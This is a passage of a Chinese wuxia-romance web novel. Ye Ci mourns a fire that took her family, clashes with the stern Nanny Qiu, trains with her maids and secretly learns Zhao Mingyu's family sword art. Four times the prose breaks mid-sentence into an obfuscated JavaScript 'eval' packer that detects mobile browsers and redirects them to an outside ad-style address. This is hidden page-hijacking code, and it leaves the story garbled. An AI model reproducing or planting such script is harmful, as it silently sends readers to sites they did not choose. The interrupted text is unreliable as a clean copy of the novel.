叶慈猜测,赵明予说他采的“野菜”是榆钱,那么那个山洞附近的树林应当便是榆树,但现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158841|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四周的树显然与榆树的形貌大有不同,叶慈不识草木,却也分得清那些树木的长相。 但此地地势开阔,前路也少生野草,叶慈猜测,这或许是这座山的另一个入口。 她心下燃起希望,问赵明予:“小石榴,还能走得动吗?” 赵明予艰难地点点头。 “前面或许有出口,我们去探探。” 赵明予听了这话,脸色又白了三分,但还是颤抖着支起身子。 二人又互相搀扶着不知走了多久,到了日上中天之时,她觉得日头刺眼,便抬起手来遮挡日光,却意外看到远处似乎有几个人影。 “喂——”她大喊,也顾不得思考那些人是好人还是坏人了,她只希望此刻能有人来救救他们,“救命——” 赵明予的身子一沉,像是彻底晕了过去。 那些人听到了叶慈的喊声,向这边赶了过来。 “世子夫人!” “是夫人!” “还有世子也在!” “太好了!” 人群嘈杂声中,叶慈听到了芳语和燕声熟悉的声音,便放心地晕了过去。 …… 叶慈这一觉睡得并不安稳。 梦中是吞天的火海,乔二和祁涟的身影在偌大的焰浪中只是两个黑点儿。 他们不断呼喊着,“救命——”,“救命——”。 然而火势实在太大,血红的火舌转眼便将他们吞没,像是天罚降世,火焰将二人烧得连灰烬都没剩下。 叶慈想救他们,但腿上却沉得仿佛灌了铅,只得眼睁睁看着他们被烧得面目全非。 滚滚黑烟向她侵袭而来,其中不知是否混着她至亲之人的骨灰。 叶慈努力屏住呼吸,却最终被求生的本能打败,她呛了一大口,剧烈地咳嗽着醒来。 “师父,小涟——”她猛地坐起身来,连鞋都顾不得穿,就要下床。 “夫人!”芳语听见动静,从外屋进来,“您终于醒了!” “我师父,还有小涟,他们怎么样了?那场火到底是怎么回事?”叶慈紧紧抓住芳语的手,指尖因为太过用力微微发白。 芳语觉得自己的主子现在受不得任何刺激,因此她吞吞吐吐,始终不敢说出那句话。 燕声也进了屋,她跪伏下去,挡住了叶慈的路。 “夫人,那日侯爷已经派人去查过了,大火烧得干干净净,您说的那二人……尸骨无存。” 这消息如同惊雷一般在叶慈耳边炸开,一阵耳鸣袭来,她几乎听不见任何声音,双腿脱力跌坐在地,只是喃喃地说:“怎么会尸骨无存,就算烧得再干净,就算真的……死了,也肯定会有骨灰吧!” “夫人!”芳语也跪伏下来,“尸体和房子一块都烧没了,哪来的骨灰啊!” “不可能!”叶慈大喊,“我不信。” 她说着,再次站起来,光着脚向屋外走去。 两个丫鬟虽是武婢,但不敢用武力阻拦主子,实在拗不过叶慈的一身蛮力。 然而叶慈刚推开门,一根细棍便横在她面前。 是那日敬茶时在前厅门口见过的仇嬷嬷。 “侯爷已经几番探查,都没有找到任何人的尸体或者骨灰,已经仁至义尽,夫人,再闹,就是您不懂事了。” 11. 第十一章 “闹?”叶慈怒极反笑,“我师父和弟弟的住处起了火,现在他们不知所踪,我要去找,你说这是闹?” “夫人,侯府有侯府的规矩。”仇嬷嬷说,语气中不乏威严。 侯府虽是名流,但也没有由下人欺压到主子头上这种道理,然而赵明予常年不理内务,武安侯府唯一正牌的女主人安宁公主多年前就已经去世,赵渊又多年未娶,所以后院的一应事务便几乎都由仇嬷嬷这个武安侯父子两个都信得过的人一一代理。 平日里她对赵明予都能用长辈口吻教导,因此对待叶慈也并没打算客气。 将叶慈这个名不见经传的乡下女子许给赵明予,本就让仇嬷嬷这个从小就对赵明予疼爱有加的长辈极力反对,若她进门后老实本分还好,偏偏从回门开始便闹出这么大的事端,她心中自然也憋着一把火。 “夫人与世子都重伤未愈,尤其是世子,伤一日未好,便请夫人在府中照料一日,这是身为世子夫人应尽的义务。”她扬声道,甚至举着棍子向前走了几步,似乎是想将叶慈逼回屋里。 “仇嬷嬷!”赵明予听见动静,从卧室跑了出来,叶慈这才发现,自己住的并不是成婚那日所住的世子卧室,而是隔壁的一间偏房。 她心中火气更盛——不知是识破了叶慈用来掩盖两人并未圆房这个事实的拙劣伎俩,还是打着即便圆房也无所谓的算盘,这老婆子让两人分房睡,分明就没把她当赵明予的正牌妻子看待,此刻却又用正牌妻子的规矩来约束她。 “真是毫不讲理,欺人太甚!” 叶慈心下大怒,一把抓住棍子抵住她肩头的这一头,用力往下一压,她虽长时间未进食,但胜在平素里身体素质便很好,又刚刚得到休息,恢复了些体力,竟直接将棍子从仇嬷嬷手中撬走了! 她也没想到这老婆子将棍子抓得这么不牢,夺过来后,竟然愣了一瞬,接着便如同仇嬷嬷方才那般,用棍子抵在她胸口,逼她让开。 “我现在就要出府去,你让是不让?”她问。 “娘子!”赵明予又叫道。 然而在场的两个女人没有一个人理她,只是静静地对峙着。 仇嬷嬷虽然被叶慈用棍子抵着,神情却丝毫不慌乱,甚至有几分泰然自若,就好像她很笃定,叶慈今天一定走不出侯府的大门。 叶慈将她上下打量一番——这人虽然是个内宅妇人,身量却其实颇为匀称,站立时双脚自然分开,似乎地盘很稳,应当也是学过武的。 也不知自己对上她有没有胜算。她这样想着,竟然被激起了几分胜负欲。 叶慈最先按捺不住,她改为双手拿棍,现在胸前横扫一荡,又向前突刺地一劈,却被仇嬷嬷轻巧地躲开。 或许她自己都没意识到,这个招式与乔二教给她的劈柴的动作有多相似。 她自知正面开打不可行,刚想变换招式,一只强有力的手却将棍势截住一拉,另一只手不知从哪钻出来,击在叶慈手肘! 她右臂猛地一麻,被迫松开手,棍子便落了空,叶慈伸脚去够,仇嬷嬷却比她更加眼疾手快,将腿一扫,不仅将只有一只腿支撑的叶慈扫得失去了重心,还顺便将脚尖一勾,便将即将落地的棍子勾了回来。 老太婆将右腿一抬,那棍子便像绑了绳一样,又回到她的手上,颇有四两拨千斤的架势。 叶慈自然不肯认输,她方才失去重心单膝跪地,刚想起身,却被一棍敲在背上,接着又是一棍扫来,让她不得不跳起躲避,这系列的动作都太过匆忙,导致她跳起后站立时重心并不稳当,便接连又在腰侧、小腿、膝盖处挨了几棍,逼得她连连后退,直退到了门槛前面。 “娘子小心!”最终还是赵明予踩着蝉步飞身而至,将她拦腰搂住,这才稳住没有摔倒。 她抬眼,仍不服气:“有本事再来!” 仇嬷嬷见将她打了个落花流水竟仍不甘心,眼中不仅不怒,反而露出几分赞许,她嘴角微勾,道:“我大允以武治天下,你的武功不说我了,连你身边两个武婢都不如,我今日罚你闭门思过,你若想进取,便改日再来找我老婆子。” 她收棍欲走,临走不忘嘱咐赵明予的小厮道:“单义,扶世子回房休息,伤好之前,也不许出门。” 赵明予将叶慈交给芳语燕声二人扶着,才恋恋不舍地回房。 叶慈则一直强撑着,直到仇嬷嬷走远,整个人卸了力,才惊觉方才身上被仇嬷嬷敲过的地方都火|辣辣地疼。 她后知后觉地龇牙咧嘴起来,芳语见状,忙让燕声去拿了伤药,二人扶着叶慈回到屋里,为她脱了衣服上药。 叶慈本以为仇嬷嬷下手狠,此刻她应该已经皮开肉绽了,但是掀开衣服之后却发现被打过的地方除了稍微红一点,竟然并无异样。 “怎么会这样?连皮都没破,怎么那么疼?”叶慈奇怪地问。 芳语边帮她擦药便答道:“夫人有所不知,武林盟受武安侯府治辖,免不得有些武林狂徒觉得自己受了不公待遇便来找武林盟的麻烦,因此咱们武安侯府之中,婢女都是武婢,小厮也全都会些拳脚功夫,仇嬷嬷身为内院掌事,功夫更是在我们所有人之上。” 叶慈若有所思地点点头,又问:“那她使的那套棍法叫什么?” 芳语迟疑道:“……这奴婢也不知道,这世上叫不出名字的功夫多了,仇嬷嬷从未说过她师承何处,奴婢们也不敢问,兴许是什么武林杂学吧?” “那她是何时入的侯府?权力竟这样大?连世子都得听她管束。” “这奴婢也不知,奴婢只知道自己进侯府的时候,仇嬷嬷就已经是掌事了,她似乎是小世子十三岁之后入的府,听说那时安宁公主刚去,世子又大病一场,神智有时失常,都是仇嬷嬷悉心照料,后来才渐渐稳定下来,虽心智一直长不大,但也不至于……” 不至于发疯。叶慈在心中替芳语补上了她没敢说出口的话。 看来仇嬷嬷与赵明予确实有些情分,这也无怪她在世子面前也敢摆出长辈架子了。 她沉吟片刻,终于问出了那个她最在意的问题:“仇嬷嬷说,我连你们两个也打不过,真的假的?” 芳语、燕声:“……” 叶慈看她们俩的反应,心里有了个数。 她自小在山里长大,体质比这些城里长大又深居内宅的姑娘不知好了多少,但仇嬷嬷却如此笃定地说她一定打不过这两个武婢,说明她的武功路数大概实在差人家很远。 叶慈承认这种差距,心里却不服气,她觉得自己再练上一年两年,还不一定被打得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158842|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落花流水的那个人会是谁。 两个丫鬟替她搽了药,又端了些清粥小菜上来,叶慈边吃边琢磨,听芳语方才说,侯府中的下人都是会武功的,自己如今靠蛮力出武安侯府,恐怕是行不通了,她在这府中又孤立无援,没个亲信,想要瞒天过海,也是难上加难。 再者,仇嬷嬷说武安侯已经派人去探查了两回,都没从茅屋里找到一点线索,她没必要撒谎,自己现在就算能出去,大概也找不到什么新线索。 只是不知怎么的,她总是觉得乔二和小涟应该还活着。 芳语和燕声立在一旁,见叶慈安静得有些诡异地喝完了一碗粥,又将小菜又扫了个干净,才敢弱弱地问:“夫人吃饱了吗?” 叶慈还在想事情,随口道:“没有,还有饭吗?” 燕声忙不迭地点头,出去了片刻,又端来一大碗白粥和一碟素炒的青菜。 叶慈吃光了青菜,又喝了半碗粥,说:“我许久没进食了,还是别一次吃太多了。” 这叫没有一次吃太多?芳语和燕声对视一眼,同时在对方眼里看到了无声的震惊。 两人刚想将白粥撤下去,便听叶慈问道:“对了,你们俩,谁功夫更好?” 燕声道:“芳语从前是武行出来的。” “好。”叶慈点头,“你随我到院子里来。” 芳语还以为她是要与自己比武,颇有些惴惴地跟着叶慈来到了院子里,却听到叶慈说:“来,你来打我。” 芳语愣了半晌,发出一声真情实感的:“啊?” “哎呀。”叶慈道,“就是想刚才仇嬷嬷那样,打我,嗯……你如果不敢的话,就当是与我拆招。” 芳语思索半天才好似“横竖都是死一闭眼这辈子就过去了”一样,摆出了进攻的架势。 她不敢真使出全力伤到叶慈,出的招又轻又缓,叶慈却很认真,一点儿也不懈怠。 “来。” “再来!” 两人对练了半个时辰,芳语也渐渐认真起来。 “夫人,方才这招你若是这样挡,便能在格挡之后给对方这样一击。”不知过了多少招,芳语也大着胆子为叶慈复盘起刚才的对战。 叶慈也没有一点儿主人架子,她听着,点点头:“原来如此,那再来!” 两人对练到半夜,芳语这个练家子都使不出力了,叶慈却还精神抖擞。 “夫人,奴婢实在没劲儿了,不如还燕声来陪您?” 叶慈想了想:“罢了,那便歇息吧。” 两人回到屋里,梳洗沐浴过后,没一会儿便熄了灯。 叶慈不知道的是,直到偏房的灯黑了下去,卧房窗边立着的那道金色身影也没有离开。 方才两人在院里对招的情形,也赫然被他尽收眼底。 屋里很暗,并未点灯,他一直看着偏房的窗户,一动也不动。 又过了片刻,一道黑影由窗户翻进屋内,那是赵明予的小厮单义。 赵明予似乎对他的出现并不意外,他转过身,对他伸出手。 单义似乎并不能言语,只是沉默地将一封密函交到了赵明予手上。 赵明予慢条斯理地拆开,上面只写了两行字—— “茅屋已焚,樵夫未死。” 12. 第十二章 叶慈白日里得空便与芳语和燕声拆招,静下来便读些书,赵明予则一直在修养,偶尔来叶慈屋里,缠着她替自己上药,就这样安安稳稳地过了三日。 这日叶慈又练了一天,出了一身汗,沐浴后刚躺到被窝里,刚闭上眼,便听到“啪嗒”一声,像是石子敲击窗户。 外屋的芳语和燕声也不知是没听到声音还是已经睡熟了,竟没有任何反应。 叶慈犹豫片刻,也没下床去看。 “啪嗒”,又是一声。 叶慈心下疑惑,便支起窗户。 屋外没有人,掌灯的婢女不知道去了哪里,院子里空无一人,只有一盏油灯放在她窗前的地上,而窗台上则静静地躺着一个金丝绣线的荷包。 叶慈看到那熟悉的风格,心下了然几分,她将荷包拿进屋里,打开来看,里面是一张字条。 “后门见。”落款处画了个开口石榴,虽然简单,却惟妙惟肖。 叶慈不知道这人又搞什么鬼,但还是穿上外袍,推门走了出去。 意料之外的是,芳语和燕声坐在外屋的凳子上,已然睡熟了,连她开门的声音也没听到。 不仅是她们二人,叶慈穿过汀步回廊,竟没碰上一个值夜的下人,路边却都贴心地摆着油灯,好像生怕谁抹黑走路摔跤似的。 叶慈一路顺利地来到后门,只见从前入夜便落锁的后门此刻敞着一个小缝,门外的人似乎听到了他的脚步声,一只手透过门缝伸进来,伸出食指,勾了一勾。 叶慈失笑,走过去,推开了门。 武安侯府后门的檐角飞翘,挂着两盏灯笼,投下昏黄的光。 灯笼下有个少年,身上穿着金色劲装,束着高马尾,正斜斜倚在门框上,看到叶慈推门出来,眼睛倏地亮了。 “娘子!”他喊了一声,又似是意识到了自己声音太大一般,压低声音道,“娘子快来!” 他右手牵起叶慈的手,左手拎起放在地上的一盏油灯,拉着叶慈穿过小巷。 “我们这是去哪?”叶慈问。 赵明予冲她挤挤眼:“娘子一会儿就知道了。” 果然,出了小巷,便有一辆马车停在路旁,还有个黑衣人立在马车旁,身上落了一层夜露,似乎已经久候多时了。 这人叶慈知道,她听芳语和燕声介绍过了,这是赵明予的小厮单义,武功不错,只是是个哑巴。 “娘子上车。”赵明予先爬上马车,接着对叶慈伸出手。 叶慈抓着他的手,也上了马车,这马车似乎与侯府平素出行时用的不是一种,踩上去竟然会发生吱呀吱呀的声音。 赵明予尴尬一笑:“事出紧急,娘子将就将就。” 叶慈冲他一笑:“不打紧。” 待两人坐稳,单义才骑上马,一挥缰绳,架着马车跑了起来。 叶慈见赵明予没有告诉她目的地的意思,便也没再问,兀自嫌弃帘子,向外看去。 她还从没在夜晚来过茌宁城,此时已过宵禁,城中不复白日时的热闹景象,但街上巡逻的看到此刻城中有马车出行,竟然也未阻拦。 行至城门口,守军将马车拦下,赵明予从怀中掏出一枚令牌递了出去,那守军竟然也没多话,便放行了。 “那是什么?”叶慈问。 “武安侯府的令牌。”赵明予笑眯眯地答道,“爹爹给我的,有了这个就可以在茌宁城中畅行无阻了。” 叶慈点点头,在心中暗暗感叹武安侯在茌宁的权力之大。 “娘子若是累了,可以靠在这休息一会儿。”赵明予点点自己的肩膀,明示道。 叶慈这几天颇有些身心俱疲,此刻倒真有些累了,她从善如流地将头靠到赵明予的肩膀上,感觉到那人的身体有一瞬间的紧绷,接着又放松下来,右手不安分地搂住她的腰。 她在马车的颠簸中沉沉睡了过去。 再醒来,似乎已经到了目的地,马车停了下来,她也直起身子,下意识看向赵明予,却发现对方正一瞬不瞬地盯着她,两人目光相接,一同愣住,又一同红着脸移开了目光。 “快到了吗?”叶慈问。 赵明予也轻咳一声:“娘子不如掀开帘子看看。” 叶慈探头看向外面,看到熟悉的景象,一时无法言语。 他们竟到了碧渠村外。 她又惊又喜地看向赵明予,却看到对方正支着头,好像早料到她会作此反应,正在欣赏她惊喜的模样。 仿佛一只满腹算计的狐狸看到自己预想中的结果,成竹在胸,又因为成就感而餍足。 叶慈有些狐疑地看他。 “小石榴。” “怎么了?” “你现在几岁?” 赵明予像是意识到了什么,忙直起身子来,正襟危坐,夹着声音说:“娘子说什么呢,我今年十三啊。” 叶慈:“……” 她选择换个话题:“我们到这来是?” 他噙着笑意:“娘子随我上山去,便知道了。” 他下了马车,又向叶慈伸出手,叶慈刚讲手搭上去,岂料竟被那人一拽,一把打横抱在了怀里。 “你……” “娘子日日练武辛苦,我抱你上去。” 单义垂着头,好像非礼勿视一般,也并没有要跟上去的意思,立在马车边上。 赵明予抱着她,脚下踩着那日用过的蝉步,没费什么力气便抱着叶慈到了山顶。 林中树影重叠,好在今夜有明月高悬,为两人照亮了路。 两人来到茅草屋处,昔日简陋的房子现在只余灰烬,被火烧过的地方不生草木,叶慈却似乎能看出三人从前生活的痕迹。 她看向院中摆放小木桌的地方,不过几日之前,她还和乔二在这里彻夜对饮,而如今竟已物非,人也非。 这里曾经被她叫做“家”,但现在,她却只感觉如鲠在喉,再也无法用那个字称呼这一片废墟。 身上锦绣的衣裳让叶慈有种幻灭之感,她摇身一变成了侯府的世子夫人,而她的亲人却不知所踪。 世事变换如浮云,却为何造化如此弄人。 天地阔远,何以为家? “娘子,我这几日已派人来查过,此处并无任何尸体痕迹,我差人问了仵作,就算是被烧死,人也不会化为灰烬的,总会留下痕迹,你若不信可以四处看看,这方圆数百里,都没有任何痕迹。”赵明予说。 没有任何痕迹,便是最好的消息。 夜色如水,山林中唯有蝉鸣阵阵,良久,叶慈翻涌的心绪才平复下来。 “你带我来这,是为了让我亲自确认的?”她开口,却发现自己声音有些哽咽,她摸摸自己的脸,触感竟是一片微凉。 泪水不受控制地用了出来,她此刻在意识到,原来从大火那日开始,她便一直在强撑着,用外物强行充实自己,仿佛就可以忘记那片噩梦一般的熊熊大火。 她曾以为自己长大了,很坚强,而现在她才发觉,原来自己仍然如此脆弱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158843|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是呀。”赵明予凑近来,不知道从哪变出来一方手帕,“毕竟总要亲眼确认了,娘子才能安心不是。” 原来这世上还有人,费劲了心思,带她百里奔赴,只为了求她一个“安心”。 “谢谢。”她说,“小石榴,谢谢你。” 虽然不知道二叔和小涟去了哪里,但叶慈相信,他们一定有自己的理由,无论此生还能否再见,只要他们还活着,她便安心。 何况—— 她看着眼前月光下玉人儿一般的赵明予,终于展颜露出这些天的第一个笑容,她觉得如今在武安侯府,自己过得也不算太差。 叶慈围着从前茅草屋的位置转了一圈又一圈,又找了附近的树林,什么都没有发现,便知道武安侯和赵明予确实都所言非虚。 她知道此番离去,往后便再没了回来的理由,竟有些迈不开腿。 赵明予像是看出了她的不舍,说:“娘子,我们看完日出再回去吧。” “可以吗?” 赵明予点点头。 叶慈莞尔一笑,不知怎么的,却突然觉得血气上涌,喉头一甜,竟然呕出一口血来。 赵明予吓了一跳,忙抓住她的手腕,两指并拢探她的脉搏。 吐血之后,叶慈竟然没觉得不适,反而觉得周身轻快了许多,像是把这些天的郁结都吐了出来,反倒舒畅了。 果然,赵明予细细探了片刻,才松了口气,说:“还好,没什么大碍,只是前几日心绪郁结突然解开,这几日又血气翻涌太过,将瘀血吐出来就好了。” 叶慈点点头,正准备收回手,却被赵明予一把抓住。 “不过就算如此,也还需要休息。”他义正言辞地勒令道,“日出可以改日再看,现在先回去休息。” 叶慈:“……” 她没想到自己有朝一日还能体会到夫管严的滋味。 赵明予并没有给她反驳的机会,再次将她一把打横抱起:“走咯!” “我自己会走路。” “娘子说什么?风太大了听不见——” “你从哪学的医术?” “我娘家传的。” “风太大了听不见?” “……” 次日早上,叶慈起床的时间晚了很多,芳语和燕声也没来叫她,也不知道是不是得了某人的授意。 叶慈刚起来收拾妥当,燕声便端来一碗药:“夫人,趁热喝。” “这是治什么的?”叶慈问,“我没去看过大夫啊?” 燕声掩唇一笑:“这是世子亲自配的,能安神。” 叶慈半信半疑地抿了一口,那药并不很苦。 “你们世子怎么会如此精通医术?” 燕声见她喝完了,才娓娓道来:“夫人也知道,我们世子的娘是当今圣上的亲妹妹,安宁公主,只是去得早,在世子十三岁时就没了。” “圣上对公主甚好,在宫中时,知道公主爱看书,便命她掌管宫中典籍,得以博览群书。公主机缘巧合之中,得了一本医学圣典,名叫《神农秘典》,后来作为陪嫁入了侯府,传给了世子。” “那那本书呢?” 燕声摇摇头:“奴婢不知,大约仍在世子那儿吧。” 叶慈似懂非懂。 两人正说着,忽听见窗外有破空声,叶慈打开窗户来看,只见一金色身影持一柄细剑,剑影宛若飞鸿,那身影似游龙,皆灵动中不失力道。 原是赵明予在练剑。 13. 第十三章 金色的晨光洒落在赵明予身上,他身穿一袭金色衣袍,衣袂轻扬,如同晨曦中的一抹璀璨光芒,明亮而不张扬。 他双眸专注,与从前望着叶慈时总是可怜巴巴的目光不同,他此刻眸中如同深邃湖水,波澜不惊,却又隐含力量。 他手中握着那柄细剑,剑身闪烁着冷冽的光芒,如白练,又似悬针。 “世子用的剑,似乎与寻常的剑不同?”叶慈微微侧过脸问,目光仍无法从赵明予身上移开。 “是。”燕声答道,“世子用的剑名叫‘静思’,是曾家前家主所铸的名器。” 曾家,叶慈有所耳闻,似乎在武林盟中掌管兵器堂,乃是铸剑世家,天下人皆以得曾家一把神兵为荣,而赵明予手中那把名为“静思”的细剑出自曾经的曾家家主之手,想必更加不同凡响。 而叶慈此刻无暇细想,她的注意力已经全部被院中的身影所吸引了。 赵明予的身形在空中划过一圈又一圈,动作既矜且雅,每一剑挥出都带着无声的风,剑气如烟,轻灵却又带着不可忽视的威压。 随着他的动作,周围的空气似乎也凝固了,时间仿佛变得缓慢,每一招一式都如拆解过一般印在了叶慈眼中。 “这剑法原本就是用细剑使的吗?”叶慈只觉得赵明予舞起招式来,虽看着浑然天成,但总觉得不对味儿,像是少了点什么。 芳语是武行出身,从前在行中时见过许多走南闯北的侠客,算是个杂学家,这几日与叶慈喂招,有时被激起了胜负欲,有意使出各门各派的招式让叶慈拆解,因此叶慈此时看着,也能从中摸出几分路数来。 “夫人果然慧眼。”燕声答,“这剑法其实原本该用寻常长剑的,只是世子自小体弱,十三岁时更是大病一场,天天泡在药罐子里,身子较寻常男子要弱一些,因此曾家才为他量身打造了这柄细剑,轻盈灵动,出招时的威力却丝毫不减。” 叶慈了然地点点头,继续专心看起了赵明予的剑招。 赵明予的身影在金色的衣袍和剑光中交织,那细剑轻盈地划过空气,发出清脆的响声,剑气、衣袂、光影,都在这一刻静谧而深邃地交织成了一幅画,浑然天成。 叶慈早就对武安侯大名鼎鼎的藏渊剑法有所耳闻,没想到竟然能亲眼一见,手上也不自觉地跟着比划,连燕声何时退了出去都不知道。 直到赵明予开始练第二遍,叶慈发现自己手下的招式重复了起来,才突然惊觉,自己竟偷学了武安侯的独门武功。 她吓了一跳,欲盖弥彰地想关上窗子,却突然看到赵明予似乎正偷偷瞟着自己,与她对视以后,眼中又带上了她熟悉的狡黠笑意。 叶慈心中一动,准备关上窗户的手停在了半空。 她心安理得地在窗前坐下,果然又看到赵明予的眼神此地无银三百两地飘过来。 她这才心下了然。 这位侯府的小世子虽然心智只有十三岁,但心眼子却不少,这会儿是故意练给她看的。 “真是个小狐狸。”叶慈喃喃道。 正看着,芳语端了白粥细点和小菜进来,她没有燕声能藏住话,看见这副场景,忍不住揶揄道:“世子这是将仇嬷嬷的话听进去了,故意‘不经意’地教夫人剑法呢!” 叶慈嗔怪地斜了她一眼,芳语才掩唇笑着退了出去:“也不知小世子是不是吃醋了,看来从今日起,夫人不必再与奴婢对招了。” 叶慈啐了她一口:“可别想偷懒!” 因着不习惯别人服侍,叶慈这些天吃饭穿衣时基本都会将芳语和燕声遣走,二人知道了她的习惯,于是在吃饭时也不打扰她。 叶慈将一勺白粥送入口中,入口仍温热,滑过喉头,心间也一暖。 赵明予也是用了心,看出了她的要强,想教她武功,使她不至在外人面前因为“武安侯世子夫人是个武痴”这种话而丢脸,但是藏渊剑法是武安侯的独门家学,不能轻易在人前展示,所以才想出这种办法来。 与平常练剑或对战时不同,叶慈能看出,他舞剑时已然放慢了速度,是故意让她看清所有的招式的。 “以剑驭气,以气化神。剑不离气,气不离神,神不离剑,剑气神相含,则人剑一体。(1)” 他舞罢一遍,又启一遍,口中还如同在学堂上跟诵夫子文章一般加上了口诀。 叶慈觉得他捧读的样子甚是可爱,分心了一瞬,又集中起注意力,一边看他的动作,一边默默将口诀都记在了心里。 赵明予又练了两遍,似乎是确保叶慈已经记下了所有才停下,却仍不回屋,反而在院子里惊天动地地大咳两声,将叶慈吓得身子都一震,说道:“咳咳!本世子决定,此后每日辰时,都要在院子里练一个时辰的剑!” 说罢,又朝叶慈挤了挤眼,才回了屋,逗得叶慈和两个丫鬟笑成了一团。 日子就这样过了月余,仇嬷嬷没再来过,也没给叶慈解了禁足,于是叶慈每日在院中练武,空余时候便在房中读书,又趁着早上的一个时辰,将藏渊剑法学了个七七八八。 不知是不是错觉,她总觉得这藏渊剑法中有些招式,和从前乔二每天早上带她练的“劈柴基本功”中的动势有些相似,因此她融会贯通得格外快,不过半月便能用这剑法与芳语喂招了。 从前在山中没有读书的机会,如今既入了侯府,她既来之则安之,觉得侯府中的藏书不读也是落灰,不如让她长长见识。 这日她照常在房中读书,燕声却急火火地跑进来。 “夫人!夫人!”她语无伦次地喊道。 “怎么了?大惊小怪的。” “世子央了仇嬷嬷半月,她今日终于解了您的禁足!”燕声激动道。 叶慈刚想说这有什么大不了的,但转念一想,她虽觉得能否出房门都没什么差别,但这两个丫鬟年纪小,又正是爱玩的时候,估计陪她一起在府中闷了这一个多月,肯定憋坏了。 她放下书:“那我们今日便出府玩去,如何?” 燕声却面露难色:“这恐怕不行……” “这是为何?”叶慈问。 “……仇嬷嬷让您去前厅见客。” 叶慈听了,心中升起一股无名火,忽地冷下脸来。 燕声见状“唰”地跪下,原本侍立在一旁的芳语也跟着跪了下去。 二人伏在地上,正如新婚那夜被叶慈抓个正着的情状一般。 叶慈看她们如此战战兢兢,心又软了下去。 “起来吧。” “……” “起来。” “……” “别让我再说一遍。”叶慈从椅子上站起来。 二人伏在地上偷偷对视一眼,这才迟疑地站了起来。 叶慈突然发现,自己虽然一直将芳语和燕声当两个妹妹看待,但是武安侯府对下人的规训早已刻在了她们心里,她们自己将自己看成下人,而叶慈是她们一等的主子,他们之间始终还是隔着一层。 因此赵明予虽光明正大地在院中练剑,她们却看都不敢多看一眼——人是有高低贵贱之分的,这是烙印在她们心里的规矩。 叶慈在心中叹了口气:“还记得成婚那夜我教训你们呢?” 芳语燕声低着头齐声道:“奴婢不敢!” “好啦。”叶慈牵起两人的手,“那晚是我说着玩的,把你们留在身边,并非想磋磨你们,是人都会犯错,只要以后把错误改掉就好了。” 二人似乎半信半疑,只敢抬眼怯怯地看她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174376|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>叶慈也不求能与二人立即变得多么亲厚,但也明白自己不该将气撒到不相干的人身上,便说:“行了,别浪费时间了,我随你们去。” 说罢便做到妆台前,等二人为她梳洗打扮。 燕声拿来一件桃红色的外袍想为她穿上,叶慈却躲了过去。 “见个客而已,又不是什么喜事,不必穿这么鲜艳,将那件素白的拿来。” 叶慈虽不愿在芳语和燕声身上撒气,但仍气不过那日仇嬷嬷口中“仁至义尽”之语,更是无法原谅她说乔二和祁涟死得连灰都找不着了。 她说她的亲人死了,她便要为他们戴孝。 芳语和燕声为难地对视一眼,都觉得若说平常的夫人还算活泼的话,这会儿一提到仇嬷嬷,便冷得连人气儿也没了。 但她们又怎么敢真让叶慈一身孝期打扮去见客,于是踌躇半晌,还是为她拿了件水蓝色的纱衣。 叶慈知道自己再反抗也只是徒劳地为难芳语和燕声,便没作声。 收拾妥当后,叶慈前往前厅。 赵明予的房中静悄悄的,应当是一早就被叫去了。 叶慈顺着熟悉的路来到了前厅门前,经侍女通报了才进去。 她刚进房门便远远听到两道中年男人的声音,似乎是刚议完事,其中一道熟悉的声音说:“此事还要托赖孟兄!” 另一道较为陌生的答道:“不敢不敢,在下定替侯爷办好……” 正说着,叶慈便来到了堂前,她看眼看去,赵渊与另一个武人打扮的中年男人分坐堂上,堂下则坐了三个小辈,赵明予独自坐在一侧,另一侧则坐了一男一女,都是叶慈不认识的人。 “娘子。”赵明予见她来了,笑眯眯地叫他。 叶慈也冲他点点头。 虽是仇嬷嬷唤她来的,她本人却不在,叶慈也不知道该摆脸色给谁看,脸上重新泛起笑意。 叶慈走到中间见了礼:“父亲?” 她看向另一个陌生男人:“这位是?” 